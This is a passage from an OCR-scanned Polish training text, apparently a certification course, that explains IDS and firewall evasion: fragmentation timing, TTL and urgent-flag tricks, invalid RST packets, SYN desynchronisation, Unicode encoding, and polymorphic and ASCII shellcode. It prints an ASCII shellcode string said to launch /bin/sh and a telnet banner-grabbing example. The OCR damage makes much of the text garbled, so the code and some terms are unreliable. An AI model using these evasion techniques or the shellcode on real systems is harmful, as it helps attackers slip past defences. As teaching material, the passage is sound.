bajtéw i unika dopasowania ciggu podczas dostarczania danych. System IDS nie jest w stanie obstuzy¢
nadmiernej liczby matych pakietow i nie wykrywa sygnatur atakéw. Jesli atakujgcy wiedzg, jaki system
IDS jest uzywany, mogg doda¢ opdznienia miedzy pakietami, aby oming¢ sprawdzanie ponownego
sktadania. Takie podejscie jest skuteczne w przypadku systemow IDS, ktére nie rekonstruujg pakietow
przed sprawdzeniem ich pod katem sygnatur wtaman. Jesli atakujgcy sg Swiadomi opdznienia w
ponownym sktadaniu pakietéw w IDS, mogg doda¢ opdznienia miedzy transmisjami pakietéw, aby



oming¢ ponowne sktadanie. Wiele systemdéw IDS ponownie faczy strumienie komunikacyjne; w
zwigzku z tym, jesli pakiet nie zostanie odebrany w rozsadnym czasie, wiele systemoéw IDS przestaje
sktadac¢ i obstugiwac ten strumien. Jesli atakowana aplikacja utrzymuje sesje aktywng przez czas
dtuzszy niz ten, ktdry system IDS poswiecit na jej ponowne ztozenie, system IDS zostanie zatrzymany.
W rezultacie kazda sesja po tym, jak IDS przestanie ponownie sktadac sesje, bedzie podatna na ztosliwg
kradziez danych przez atakujgcych. IDS nie zarejestruje zadnej préby ataku po udanym ataku splicingu.
Atakujgcy mogga uzywac narzedzi takich jak Nessus do atakow polegajgcych na faczeniu ses;ji.

Technika unikania Unicode

Unicode to system kodowania znakdéw, ktéry obstuguje kodowanie, przetwarzanie i wyswietlanie
tekstéw pisanych dla jezykédw uniwersalnych w celu zachowania spdjnosci reprezentacji
komputerowej. Kilka standardéw, takich jak Java, LDAP i XML, wymaga standardu Unicode, ktéry
obstuguje wiele systemdw operacyjnych i aplikacji. Atakujgcy mogg przeprowadzi¢ atak za pomocg
roznych kodowan znakéw, znanych jako ,,punkty kodowe” w przestrzeni kodowej Unicode. Najczesciej
uzywanymi kodowaniami znakéw sg Unicode Transformation Format (UTF)-8 i UTF-16.

Na przyktad: w UTF-16 znak ,,/” mozna przedstawic jako ,%u2215”, a ,,e” jako ,%u00e9”; w UTF-8,"©"
moze by¢ reprezentowane jako "%c2%a9" i jako "%e2%89%a0."

Problemy z Unicode:

W przestrzeni kodu Unicode wszystkie punkty kodowe sg traktowane inaczej, ale mozliwe jest, ze
istnieje wiele reprezentacji jednego znaku. Istniejg réwniez punkty kodowe, ktére zmieniaja
poprzednie punkty kodowe. Ponadto aplikacje lub system operacyjny mogg przypisywaé te samg
reprezentacje do réznych punktéw kodowych. Z powodu tej ztozonosci niektére IDS Zle obstuguja
Unicode, poniewaz Unicode pozwala na wiele interpretacji tych samych znakéw. Na przyktad ,\”
reprezentuje 5C, C19C i E0819C, co bardzo utrudnia pisanie podpisdéw pasujgcych do wzorcéw.
Wykorzystujac ten fakt, atakujacy moga konwertowad ciagi ataku na znaki Unicode, aby unikngé
dopasowania wzorca i sygnatury w systemie IDS. Atakujgcy mogg rowniez kodowac adresy URL w
zadaniach FITTP przy uzyciu znakéw Unicode, aby oming¢ wykrywanie atakéw oparte na protokole
HTTP w systemie IDS.

Atak fragmentacyjny

Podczas podrdzy przez sie¢ pakiety IP muszg by¢ zgodne ze standardowym rozmiarem maksymalnej
jednostki transmisji (MTU). Jes$li rozmiar pakietu zostanie przekroczony, zostanie on podzielony na
wiele fragmentéw (,fragmentacja”). Nagtéwek IP zawiera identyfikator fragmentu, przesuniecie
fragmentu, dtugos¢ fragmentu, flagi fragmentdow i inne oprécz oryginalnych danych. W sieci przeptyw
pakietéw jest nieregularny; w zwigzku z tym systemy muszg przechowywaé fragmenty, czeka¢ na
przyszte fragmenty, a nastepnie ponownie sktada¢ je w kolejnosci. Fragmentacja moze byc
wykorzystana jako wektor ataku, gdy limity czasu fragmentacji réznig sie miedzy systemem IDS a
hostem. Dzieki procesowi fragmentacji i ponownego sktadania osoby atakujace moga wysytac ztosliwe
pakiety przez sie¢ w celu wykorzystania i zaatakowania systemdw. Aby unikngé wykrycia przez IDS,
osoby atakujgce moga wykorzysta¢ fragmentacje, wykorzystujgc limit czasu ponownego sktadania
fragmentdw, ktdry rdzni sie w zaleznosci od systemu.

Scenariusz ataku - 1

Jesli, na przyktad, czas oczekiwania na ponowne ztozenie fragmentu wynosi 10 s w systemie IDS i 20 s
w systemie docelowym, atakujgcy wysla drugi fragment 15 s po wystaniu pierwszego fragmentu. W
tym scenariuszu IDS upusci fragment po otrzymaniu drugiego fragmentu po uptywie limitu czasu



ponownego sktadania, ale host docelowy ponownie ztozy fragmenty. Atakujgcy beda nadal wysytaé
fragmenty w odstepach 15 s, dopdki tadunek ataku nie zostanie ponownie ztozony w systemie
docelowym. W ten sposéb ofiara ponownie ztozy fragmenty i otrzyma kod ataku, podczas gdy IDS tego
nie wykryje ani nie wygeneruje alertow, gdy IDS upusci fragmenty.
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Powyzszy rysunek ilustruje omawiany scenariusz (Scenariusz Ataku-1). Napastnik bedzie pomyslnie
przeprowadzac atak fragmentacyjny na hosta. Napastnik manipuluje kolejnoscia i czasem fragmentow
i wysyta te fragmenty do maszyny ofiary. Atak powiedzie sie, gdy limit czasu ponownego ztozenia
fragmentacji NIDS bedzie mniejszy niz uptynat limit czasu fragmentacji ofiary.

Scenariusz ataku - 2

Podobny atak fragmentacyjny dziata, gdy limit czasu IDS przekracza limit czasu ofiary. Czasami limit
czasu ponownego ztozenia IDS jest dtuzszy niz w przypadku hosta. W tym scenariuszu nalezy wzig¢ pod
uwage, ze osoba atakujaca podzielita pakiet ataku na cztery fragmenty: frag-1, frag-2, frag-3 i frag-4.
W tym przypadku limit czasu ponownego sktadania fragmentacji IDS wynosi 60 s, a limit czasu
ponownego sktadania fragmentacji dla hosta wynosi 30 s. Poczgtkowo atakujacy wysyta frag-2 i frag-4
z fatszywym tadunkiem okreslanym jako frag-2'i frag-41, ktére sg odbierane zaréwno przez IDS, jak i
ofiare. Atakujacy czeka, az uptynie limit czasu ponownego sktadania fragmentéw w systemie ofiary. W
tym ataku ofiara nie otrzymata frag-1, wiec upusci fragmenty bez generowania komunikatu o btedzie
ICMP. Atakujacy nastepnie wysyta pakiet (frag-1, frag-3) z prawidtowym tadunkiem. Teraz ofiara ma
tylko frag-1 i frag-3, podczas gdy IDS ma frag-1, frag-2', frag-3 i frag-4'. Tutaj frag-2' i frag-4' maja
fatszywe tadunki. Z czterema odebranymi fragmentami IDS wykona ponowne sktadanie TCP, ale
odrzuci pakiet, poniewaz obliczona suma kontrolna dla frag-2' i frag-4' bedzie nieprawidtowa. Jesli
atakujacy wysle teraz ponownie frag-2 i frag-4 z prawidtowym tadunkiem, IDS bedzie miat tylko te dwa
fragmenty z prawidtowym tadunkiem, poniewaz poprzednie fragmenty zostang ponownie ztozone i
usuniete. Ofiara bedzie miata wszystkie fragmenty (frag-1, frag-3, frag-2, frag-4) - z wazinymi
tadunkami, ktére zostang ponownie ztozone - i odczyta pakiet jako wazny.
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Powyzszy rysunek ilustruje omawiany scenariusz (Scenariusz ataku-2). Atakujgcy wysyta ztosliwy
tadunek, ktory fatszywie ponownie sktada fragmenty w IDS i skutecznie przeprowadza atak
fragmentacyjny na hosta, gdy limit czasu ponownego sktadania fragmentacji NIDS przekracza limit
czasu ponownego skfadania ofiary.

Naktadajace sie fragmenty

Atakujgcy uzywajg naktadajgcych sie fragmentdow, aby unikngé IDS. w tej technice atakujgcy generuja
serie matych fragmentéw z naktadajacymi sie numerami sekwencyjnymi TCP. Na przyktad poczatkowy
fragment sktada sie ze 100 bajtéw tadunku o numerze sekwencyjnym 1, drugi fragment zawiera
naktadajgcy sie sekwencje 96 bajtéw i tak dalej. W momencie ponownego sktadania pakietu host
docelowy musi wiedzie¢, jak ztozy¢ nakfadajace sie fragmenty TCP. Niektdre systemy operacyjne
pobiorg oryginalne fragmenty z okres$lonym przesunieciem (np. Windows W2K/XP/2003), a inne
kolejne fragmenty z okreslonym przesunieciem (np. Cisco I0S). Rozwaz scenariusz, w ktorym atakujgcy
przeprowadza ten atak, dzielgc pakiet na cztery fragmenty, wysytajgc najpierw frag-1, frag-2 i frag-3,
zaakceptowane przez oba systemy operacyjne. Nastepnie atakujgcy wysyta frag-2', frag-3' i frag-4.
Flere, tadunki uzyteczne frag-21 i frag-31 rdznig sie odpowiednio od tadunkéw frag-2 i frag-3, ale
przesuniecie fragmentu i jego dtugos¢, wraz z innymi polami w nagtéwku IP, pozostajg takie same. W
takim scenariuszu system operacyjny, taki jak Windows XP, ponownie ztozy frag-1, frag-2, frag-3 i frag-
4, podczas gdy system operacyjny, taki jak Cisco I0S, ponownie ztozy frag-1, frag-2', frag- 3'i frag-4.

Ataki typu ,,czas zycia”.

Kazdy pakiet IP ma pole o nazwie Time to Live (TTL), ktére wskazuje, ile przeskokédw moze wykonac
pakiet, zanim zostanie odrzucony przez wezet sieci. Kazdy router na $ciezce danych zmniejsza te
wartos$¢ o 1. Gdy TTL osiggnie 0, pakiet jest odrzucany, a do nadawcy wysytane jest powiadomienie
ICMP. Zwykle, gdy host wysyta pakiet, ustawia TTL na wysokg warto$é, tak aby mdgt dotrze¢ do miejsca
docelowego w normalnych warunkach. Rdzine systemy operacyjne uzywaja réznych domysinych



wartosci poczatkowych dla TTL. Dlatego osoby atakujgce mogg odgadna¢ liczbe routerow miedzy nimi
a maszyng wysytajacg i przyjac zatozenia dotyczgce poczgtkowego czasu TTL, odgadujgc w ten sposdb
system operacyjny hosta, jako wstep do ataku. Aby zapobiec takiemu wykryciu, SmartDefense moze
zmieni¢ pole TTL wszystkich pakietow (lub wszystkich pakietéw wychodzgcych) na okreslong liczbe.
Ataki te wymagajg od osoby atakujgcej wczesniejszej znajomosci topologii sieci ofiary. Informacje te
mozna uzyska¢ za pomocg narzedzi takich jak traceroute, ktére dostarczajg informacji o liczbie
routerow miedzy atakujgcym a ofiarg. Rozwaz scenariusz, w ktéorym miedzy systemem IDS a ofiarg
znajduje sie router. Atakujgcy muszg zdobyc¢ te informacje przed rozpoczeciem ataku TTL, dzielgc
ztosliwy pakiet danych na trzy fragmenty. Zaktada sie, ze atakujgcy ma wczesniejszg wiedze na temat
topologii sieci docelowej (tj. ile routeréw znajduje sie miedzy atakujgcym a maszynami ofiary).
Atakujacy fragmentuje pakiet i wysyta frag 1 z TTL ustawionym na wyzszg wartos¢. Nastepnie jest
odbierany przez ofiare i IDS. Nastepnie atakujgcy wysyta frag-2' z fatszywym tadunkiem i wartoscig TTL
réowng 1, ktory jest odbierany przez IDS; jednak ofiara go nie otrzyma, poniewaz router go odrzuca, a
wartos¢ TTL zostaje zredukowana do 0. Nastepnie atakujgcy wysyta frag-3 z poprawnym tadunkiem i
wyzszg wartoscig TTL, co umozliwia mu dotarcie do IDS i ofiara. Po otrzymaniu frag-3, IDS dokonuje
ponownego ztozenia TCP na fragmentach 1, 2'i 3, a ofiara czeka na frag-2. Na koniec atakujgcy wysyta
frag-2 z prawidtowym tadunkiem. Ofiara po otrzymaniu fragmentu 2 ponownie sktada fragmenty 1, 2
i 3 i otrzymuje kod ataku osadzony w ztosliwym tadunku. Tutaj IDS ma tylko frag-2, poniewaz juz
ponownie ztozyt fragmenty i flage pilnosci. Flaga pilnosci w protokole TCP oznacza dane jako pilne. TCP
uzywa wskaznika pilnosci, ktory wskazuje poczatek pilnych danych w pakiecie. Gdy uzytkownik ustawia
flage pilnosci, protokét TCP ignoruje wszystkie dane przed wskaznikiem pilnosci oraz dane, na ktére
wskazuje wskaznik pilnosci, sg przetwarzane. Jesli flaga URG jest ustawiona, protokdét TCP ustawia pole
Urgent Pointer na 16-bitowg wartos¢ przesuniecia, ktéra wskazuje na ostatni bajt pilnych danych w
segmencie. Niektdre IDS nie uwzgledniajg funkcji pilnosci TCP i przetwarzajg wszystkie pakiety w ruchu,
podczas gdy system docelowy przetwarza tylko pilne dane. Atakujgcy wykorzystujg te funkcje do
obejscia IDS, co wida¢ w innych technikach unikania. Atakujgcy mogg umiesci¢ Smieci przed danymi
pilnosci. Wskaznik i IDS odczytujg te dane bez uwzglednienia obstugi flagi pilnosci przez hosta
koricowego. Oznacza to, ze IDS majg wiecej danych niz procesy hosta koricowego. Powoduje to, ze IDS
i systemy docelowe majg rdozne zestawy pakietédw, ktdre mogg zosta¢ wykorzystane przez atakujgcych
do przepuszczenia ruchu atakujgcego.

Przyktad:

,Gdy pakiet TCP zawiera zaréwno pilne dane, jak i normalne dane, to 1-
dane bajtowe po utracie pilnych danych"

Pakiet 1: XYZ

Pakiet 2: Wskaznik pilnosci LMN: 3

Pakiet 3: PQR

Wynik koAcowy: XYZLMNQR

Powyzszy przyktad ilustruje dziatanie flagi pilnosci w pakiecie TCP. Wedtug

RFC 1122, jesli segment TCP sktada sie ze wskaznika pilnosci, to jeden bajt danych po pilnych danych
zostang utracone.

Nieprawidtowe pakiety RST



TCP uzywa 16-bitowych sum kontrolnych do sprawdzania btedéow nagtéwka i danych oraz do
zapewnienia niezawodnej komunikacji. Dodaje sume kontrolng do kazdego transmitowanego
segmentu, ktéry jest sprawdzany po stronie odbierajacej. Kiedy suma kontrolna rézni sie od sumy
kontrolnej oczekiwanej przez hosta odbierajgcego, TCP odrzuca pakiet po stronie odbiorcy. TCP uzywa
réowniez pakietu RST do zakonczenia komunikacji dwukierunkowej. Atakujgcy mogg uzy¢ tej funkgcji,
aby unikna¢ wykrycia, wysytajac pakiety RST z nieprawidtowg sumga kontrolng, co powoduje, ze IDS
przestaje przetwarzac¢ strumien, poniewaz IDS mysli, ze sesja komunikacyjna zostata zakorczona.
Jednak host koricowy sprawdza ten pakiet, weryfikuje wartosé¢ sumy kontrolnej, a nastepnie odrzuca
pakiet, jesli jest nieprawidtowy. Niektére systemy IDS mogg zinterpretowac ten pakiet jako faktyczne
zakonczenie komunikacji i zaprzesta¢ ponownego sktadania komunikacji. Takie instancje umozliwiajg
atakujgcym kontynuowanie komunikacji z hostem korncowym podczas dezorientacji IDS, poniewaz host
koncowy akceptuje pakiety nastepujgce po pakiecie RST z nieprawidtowg wartoscig sumy kontrolne;j.

Polimorficzny kod powtoki

Oparty na sygnaturach system wykrywania wtaman do sieci (NIDS) identyfikuje atak, dopasowujac
sygnatury ataku do przychodzacych i wychodzacych pakietéw danych. Wiele IDS identyfikuje sygnatury
dla czesto uzywanych ciggdw osadzonych w kodzie powtoki. Ataki polimorficznego kodu powtoki
obejmuja wiele sygnatur, co utrudnia wykrycie sygnatury. Atakujgcy kodujg tadunek za pomoca pewnej
techniki, a nastepnie umieszczajg dekoder przed tadunkiem. W rezultacie kod powtoki jest catkowicie
przepisywany za kazdym razem, gdy jest wysytany, unikajgc w ten sposdb wykrycia. W przypadku
polimorficznych kodéw powtoki osoby atakujgce ukrywajg swéj kod powtoki (kod ataku), szyfrujac go
nieznanym algorytmem szyfrowania i dofgczajgc kod odszyfrowywania jako czes¢ pakietu ataku. Aby
przeprowadzi¢ polimorficzne ataki kodu powtoki, wykorzystujg istniejgcy exploit przepetnienia bufora
i ustawiajg adres pamieci ,powrotu” na przepetnionym stosie do punktu wejscia kodu deszyfrujacego.
Utrudnia to IDS zidentyfikowanie go jako kodu powtoki. Dlatego, gdy atakujgcy
modyfikujg/przeksztatcajg swoje ataki w ten sposdb, NIDS nie moze ich rozpoznaé. Ta technika pozwala
rowniez unikng¢ powszechnie uzywanych ciggéw kodu powtoki, przez co sygnatury kodu powtoki sg
bezuzyteczne.

Kod powtoki ASCII

Shellcodes ASCIl zawierajg tylko znaki ze standardu ASCII. Takie kody powtoki pozwalajg atakujgcym
oming¢ powszechnie stosowane ograniczenia dotyczace znakdw w kodzie wprowadzania ciggu
znakéw. Pomagajg rowniez atakujgcym omingc sygnatury dopasowywania wzorcow IDS, poniewaz
ukrywaija ciaggi podobnie do polimorficznych kodéw powtoki. Mechanizm dopasowywania wzorcow IDS
nie dziata wydajnie z wartosciami ASCIl. Uzywanie ASCII dla kodu powtoki jest bardzo restrykcyjne,
poniewaz ogranicza to, co moze zrobi¢ kod powtoki w pewnych okolicznosciach, poniewaz nie
wszystkie instrukcje asemblera sg konwertowane bezposrednio na wartosci ASCIl. To ograniczenie
omija uzycie innych instrukcji lub kombinacji instrukcji, ktére konwertujg na reprezentacje znakéw
ASCII, stuzac temu samemu celowi, co instrukcje, ktére konwertujg nieprawidtowo. Przyktad kodu
powtoki ASCIl podano ponizej:

char shellcode[] =
MLLLLYhbOpLX5bOpLHSSPPWQPPaPWSUTBRDJfh5tDSM
"RajYX0Dka0TkafhNOfYflLkbOTkdjfYOLkfOTkgfh"
"6rfYfILkiOtkkh95h8YILkmjpYOLkgOtkrh2wnuXI"

"DksOtkwjfXODkxOtkxOtkyCjnYOLkzCOTkzCCjtXO"



"DkzCOtkzCj3X0Dkz0TkzCOtkzChjG3IYILkzCCCCO"
"tkzChpfcMXIDkzCCCCOtkzCh4pCnYILkzITkzCCCC"
"fh)GfXfIDkzfltkzCCjHXODkzCCCCjvYOLkzCCCjd"
"XODkzCOTkzCjWX0ODkzOTkzCjdXODkzCjXYOLkzOtk"
nzMdgwn9FIr8F55h8pG9wnuvjrNfrVx2LGkG3IDpf"

ncM2KgirmJGgbinYshdvD9d";

Po wykonaniu powyzszy kod powtoki uruchamia powtoke M/bin/sh”, zawierajacg ,,bin” i ,,sh”.
Ataki warstwy aplikacji

Pliki multimedialne, takie jak obrazy, pliki audio i wideo, mozna skompresowaé, aby mozna je byto
szybko przesyta¢ w mniejszych porcjach. Atakujgcy znajdujg luki w tych skompresowanych danych i
przeprowadzajg ataki; nawet sygnatury IDS nie mogg zidentyfikowa¢ kodu ataku w skompresowanych
w ten sposéb danych. Wiele aplikacji obstugujacych takie pliki multimedialne wykorzystuje jakas forme
kompresji w celu zwiekszenia szybkosci przesytania danych. Gdy znajdziesz luke w tych aplikacjach, caty
atak moze nastgpi¢ w skompresowanych danych, a IDS nie bedzie miat mozliwosci sprawdzenia
formatu skompresowanego pliku pod katem sygnatur. Umozliwia to atakujgcemu wykorzystanie luk w
zabezpieczeniach skompresowanych danych. Wiele IDS szuka okreslonych warunkéw, ktére pozwalajg
na atak. Sg jednak chwile, kiedy atak moze przybierac rézne formy. Na przyktad osoby atakujgce moga
wykorzystaé luki w zabezpieczeniach zwigzane z przepetnieniem liczb catkowitych przy uzyciu kilku
réznych wartosci catkowitych. Fakt ten, w potgczeniu ze skompresowanymi danymi, sprawia, ze
wykrywanie sygnatur jest niezwykle trudne.

Desynchronizacja
SYN przed potaczeniem

Atak ten polega na wystaniu poczatkowego SYN przed nawigzaniem rzeczywistego potaczenia, ale z
nieprawidtowg sumg kontrolng TCP. IDS moze ignorowac lub akceptowac kolejne segmenty SYN w
potfaczeniu. Jesli pakiet SYN zostanie odebrany po otwarciu bloku kontrolnego TCP, IDS resetuje
odpowiedni numer sekwencyjny, aby dopasowaé nowo odebrany pakiet SYN. Atakujgcy wysytaja
fatszywe pakiety SYN z catkowicie nieprawidtowym numerem sekwencyjnym w celu desynchronizacji
systemu IDS. Uniemozliwia to IDS monitorowanie catego legalnego i atakujgcego ruchu. Jesli system
IDS jest inteligentny, nie sprawdza sumy kontrolnej TCP. Jesli system IDS sprawdzi sume kontrolng,
atak zostanie zsynchronizowany, a fatszywy numer sekwencyjny zostanie wystany do systemu IDS
przed nawigzaniem rzeczywistego potgczenia.

SYN po potaczeniu

W tej technice atakujacy prébuja zdesynchronizowac IDS z rzeczywistymi numerami sekwencyjnymi
honorowanymi przez jadro. Wyslij po potaczeniu pakiet SYN w strumieniu danych, ktéry bedzie miat
rozbiezne numery sekwencyjne, ale poza tym spetni wszystkie niezbedne kryteria, aby zostat
zaakceptowany przez docelowego hosta. Jednak host docelowy zignoruje ten pakiet SYN, poniewaz
odwotuje sie on do juz nawigzanego pofaczenia. Atak ten ma na celu skfonienie IDS do ponownej
synchronizacji pojecia numerdow sekwencyjnych z nowym pakietem SYN. Nastepnie zignoruje wszelkie
dane, ktore sg legalng czescig oryginalnego strumienia



poniewaz bedzie oczekiwat na inny numer sekwencyjny. Gdy uda ci sie ponownie zsynchronizowac¢ IDS
z pakietem SYN, wyslij pakiet RST z nowym numerem sekwencyjnym i zamknij pojecie potgczenia.

Inne rodzaje unikania
Szyfrowanie

Sieciowe wykrywanie wfaman analizuje ruch w sieci od Zrédta do miejsca docelowego. Jesli
atakujgcemu uda sie nawigzaé zaszyfrowang sesje z docelowym hostem przy uzyciu bezpiecznej
powtoki (SSH), SSL (Secure Socket Layer) lub tunelu wirtualnej sieci prywatnej (VPN), IDS nie bedzie
analizowa¢ pakietéw przechodzacych przez te zaszyfrowane komunikacja. W ten sposdb atakujacy
wysyta ztosliwy ruch za pomoca takich bezpiecznych kanatéw, omijajgc w ten sposéb zabezpieczenia
IDS.

Powoddz

IDS wykorzystuje zasoby, takie jak pamie¢ i szybkos¢ procesora, do analizy ruchu przez nie
przechodzgcego. Aby omingé¢ zabezpieczenia IDS, atakujgcy zalewajg zasoby IDS szumem lub
fatszywym ruchem, aby wyczerpac je koniecznoscig analizowania zalanego ruchu. Gdy takie ataki sie
powiodg, osoby atakujgce wysytajg szkodliwy ruch w kierunku docelowego systemu za IDS, ktéry
zapewnia niewielka lub Zadng interwencje. W zwigzku z tym rzeczywisty ruch zwigzany z atakami moze
pozostac niewykryty.

Unikanie zapor sieciowych

W poprzedniej sekcji wyjasniono, w jaki sposéb osoby atakujgce wykorzystujg rézne techniki w celu
ominiecia systemu IDS. Podobnie, mogg réwniez uzywac réznych sztuczek i technik, aby oming¢ zapory
ogniowe. W tej sekcji omdwiono rézne techniki stosowane przez osoby atakujgce w celu obejscia
zabezpieczen zapory.

Techniki omijania zapory

Ominiecie zapory ogniowej to technika polegajgca na tym, ze atakujgcy manipuluje sekwencjg ataku,
aby unikng¢ wykrycia przez podstawowa zapore zabezpieczajgcy. Zapora dziata na podstawie
predefiniowanego zestawu regut, a przy dogtebnej wiedzy i umiejetnosciach osoba atakujgca moze
oming¢ zapore, stosujac rozne techniki omijania zapory. Korzystajac z tych technik, atakujgcy oszukuje
zapore ogniowg, aby nie filtrowata ztosliwego ruchu generowanego przez atakujgcego. Oto niektére
techniki omijania zapory:

Port Scanning

Firewalking

Banner Grabbing

IP Address Spoofing

Source Routing

Tiny Fragments

Using an IP Address in Place of a URL
Using Anonymous Website Surfing Sites

Using a Proxy Server



ICMPTunneling

ACK Tunneling

HTTP Tunneling

SSH Tunneling

DNS Tunneling

Through External Systems
Through MITM Attack
Through Content
Through XSS Attack
Through HTML Smuggling
Through Windows BITS
Skanowanie portéw

Porty to punkty, z ktédrych komputery wysytajg lub przyjmujg informacje z zasobdéw sieciowych.
Skanowanie portéw stuzy do identyfikowania otwartych portéw i ustug dziatajgcych na tych portach.
Znalezienie otwartych portéw to pierwszy krok atakujgcego w kierunku uzyskania dostepu do systemu
docelowego. W tym celu atakujgcy systematycznie skanuje porty celu w celu zidentyfikowania wersji
ustug, co pomaga w znalezieniu luk w zabezpieczeniach tych ustug. Atakujgcy czasami uzywajg w tym
celu zautomatyzowanych narzedzi do skanowania portéw, z ktérych wiele jest tatwo dostepnych.

Jak atakujacy skanujg porty

Skanowanie portéw polega na wysytaniu wiadomosci do kazdego portu, pojedynczo. Rodzaj
otrzymanej odpowiedzi wskazuje, czy system korzysta z portu, narazajgc go na wykrycie stabych
punktéw. Niektore zapory identyfikujg sie w unikalny sposéb za pomoca prostego skanowania portow.
Na przyktad FireWall-1 firmy Check Point nastuchuje na portach TCP 256, 257, 258 i 259, a serwer proxy
firmy Microsoft zazwyczaj nastuchuje na portach TCP 1080 i 1745.

Firewalking

Firewalking to metoda zbierania informacji o zdalnych sieciach za zaporami ogniowymi. Jest to technika
wykorzystujgca wartosci TTL do okreslania filtréw ACL bramek i mapowania sieci poprzez analize
odpowiedzi pakietu IP. Bada listy ACL na routerach/zaporach ogniowych filtrujgcych pakiety przy
uzyciu tej samej metody, co tracerouting. Firewalking polega na wysyfaniu pakietéw TCP lub UDP do
zapory, gdzie wartos¢ TTL jest o jeden skok wieksza niz docelowa zapora. Jesli pakiet przejdzie przez
bramke, system przekazuje go do nastepnego przeskoku, gdzie TTL jest rowny jeden, i wySwietla
komunikat o btedzie ICMP w punkcie odrzucenia z komunikatem ,TTL przekroczony podczas
przesytania”. Ta metoda pomaga zlokalizowaé zapore sieciowg; dodatkowe sondowanie ufatwia
pobieranie odciskdéw palcow i identyfikacje luk w zabezpieczeniach. Firewalk to dobrze znana aplikacja
stuzgca do chodzenia po ogniu. Ma dwie fazy: faze wykrywania sieci i faze skanowania. Jest dostarczany
z réznymi dystrybucjami Linuksa typu open source. Nmap ma skrypt firewalk, ktédrego mozna uzy¢ do
wykonywania firewalkingu.

Banner Grabbing



Banery to ogtoszenia o ustugach dostarczane przez ustugi w odpowiedzi na zadania potgczenia i czesto
zawierajg informacje o wersji dostawcy. Przechwytywanie baneréw to prosta metoda pobierania
odciskéw palcéw, ktéra pomaga w wykrywaniu dostawcy zapory i wersji oprogramowania
uktadowego. Identyfikuje ustuge dziatajgcg w systemie. Atakujacy wykorzystujg przechwytywanie
banerdéw do ustug odciskdw palcow iw ten sposdéb wykrywaja ustugi dziatajgce na zaporach ogniowych.
Trzy gtéwne ustugi wysytajgce banery to FTP, Telnet i serwery WWW. Zapora nie blokuje
przechwytywania banerdw, poniewaz pofaczenie miedzy systemem atakujgcego a systemem
docelowym wydaje sie prawidtowe. Przyktadem przechwytywania baneréw SMTP jest telnet
mail.targetcompany.org 25.

Skfadnia to ,,<nazwa ustugi> <ustuga uruchomiona> <numer portu>"

Przechwytywanie baneréw stuzy do okreslania baneréw i informacji o aplikacji. Na przyktad, gdy
uzytkownik otworzy potfaczenie telnet ze znanym portem na serwerze docelowym i w razie potrzeby
nacisnie klawisz Enter, zostanie wyswietlony nastepujgcy wynik:

C:\>telnet <docelowa witryna internetowa> 80
HTTP/1.0 400 Btedne zadanie
Serwer: Microsoft-115/10.0

Ten system wspotpracuje z wieloma innymi popularnymi aplikacjami, ktore reagujg na ustawiony port.
Informacje generowane przez przechwytywanie baneréw moga zwiekszy¢ wysitki atakujgcego w celu
dalszego naruszenia bezpieczenstwa systemu. Dzieki informacjom o wersji i dostawcy serwera
sieciowego osoba atakujgca moze skupi¢ sie na wykorzystaniu technik wykorzystujacych luki w
zabezpieczeniach specyficznych dla platformy. Ustugi na portach, takie jak FTP, Telnet i serwery WWW,
nie powinny pozostawac otwarte, poniewaz sg podatne na przechwytywanie baneréw.

Fatszowanie adresu IP

Wiekszo$¢ zapér ogniowych filtruje pakiety na podstawie zrodtowego adresu IP. Zapory te sprawdzajg
zrédtowy adres IP i okreslajg, czy pakiet pochodzi z legalnego zrédta, czy z nielegalnego zrddta. IDS
filtruje pakiety z nielegalnych Zrddet. Atakujgcy wykorzystujg technike fatszowania adreséw IP w celu
ominiecia takich zapdr ogniowych. Fatszowanie adresu IP to technika przejmowania kontroli, w ktérej
osoba atakujgca podszywa sie pod zaufanego hosta, aby ukry¢ swojg tozsamosé, sfatszowac strone
internetowg, przejac¢ kontrole nad przeglgdarkami lub uzyska¢ nieautoryzowany dostep do sieci.
Podczas fatszowania adreséw IP atakujgcy tworzy pakiety IP przy uzyciu sfatszowanego adresu IP i
zyskuje dostep do systemu lub sieci bez autoryzacji. Atakujgcy modyfikujg informacje adresowe w
nagtowku pakietu IP i polu bitdw adresu zrédtowego, aby omingé zapore. Atakujacy fatszuje
wiadomosé; dlatego host docelowy uwaza, ze pochodzi z wiarygodnego Zrédta. W ten sposdb
atakujgcemu udaje sie podszywaé pod inne osoby za pomocg fatszowania adreséw IP. Hakerzy uzywaja
tej techniki, aby unikngé wykrycia podczas spamowania i réznych innych dziatan. Rozwazmy na
przyktad trzy hosty: A, B i C. Host C jest zaufang maszyng hosta B. Host A udaje hosta C, modyfikujgc
adres IP ztosliwych pakietow, ktére zamierza wystac¢ do hosta B. Gdy pakiety sg odbierane, host B mysli,
ze pochodzg one od hosta C, ale w rzeczywistosci pochodzg od hosta A.

Routing Zrédiowy

Korzystajgc z tej techniki, nadawca pakietu wyznacza trase (czesciowo lub catkowicie), ktérg pakiet
powinien przejs¢ przez sie, tak aby wyznaczona trasa omineta wezet zapory. W ten sposéb atakujgcy
moze oming¢ ograniczenia zapory sieciowej. Kiedy te pakiety przechodzg przez wezty sieci, kazdy



router sprawdza docelowy adres IP i wybiera nastepny przeskok, aby skierowac pakiet do miejsca
docelowego. W routingu zrédtowym nadawca podejmuje niektore lub wszystkie z tych decyzji na
routerze. Routing zrodtowy dzieli sie na dwa podejscia: luzny routing Zrédtowy i Scisty routing zrodtowy.
W routingu luznym nadawca okresla jeden lub wiecej etapdw, przez ktdre pakiet musi przejsé, podczas
gdy w routingu scistym nadawca okresla doktadng trase, przez ktérg pakiet musi przejsé. Ponizszy
rysunek przedstawia routing zrédtowy, w ktérym nadawca dyktuje ostateczng trase ruchu.

Mate fragmenty

Atakujacy tworzg mate fragmenty pakietéw wychodzgcych, wymuszajgc cze$¢ nagtéwka pakietu TCP
do nastepnego fragmentu. Reguty filtrowania IDS, ktdre okreslajg wzorce, nie bedg pasowac do
pofragmentowanych pakietéw z powodu uszkodzonych informacji nagtéwka. Atak zakonczy sie
sukcesem, jesli router filtrujgcy zbada tylko pierwszy fragment i przepusci wszystkie pozostate
fragmenty. Ten atak jest uzywany do unikania regut filtrowania zdefiniowanych przez uzytkownika i
dziata, gdy zapora sprawdza tylko informacje nagtéwka TCP.

Omin zablokowane witryny, uzywajac adresu IP zamiast adresu URL

Ta metoda polega na wpisaniu adresu IP zablokowanej witryny bezposrednio w pasku adresu
przegladarki zamiast nazwy domeny. Na przyktad, aby uzyska¢ dostep do Facebooka, wpisz jego adres
IP zamiast nazwy domeny. Skorzystaj z ustug takich jak Host2ip, aby znalez¢é adres IP zablokowanej
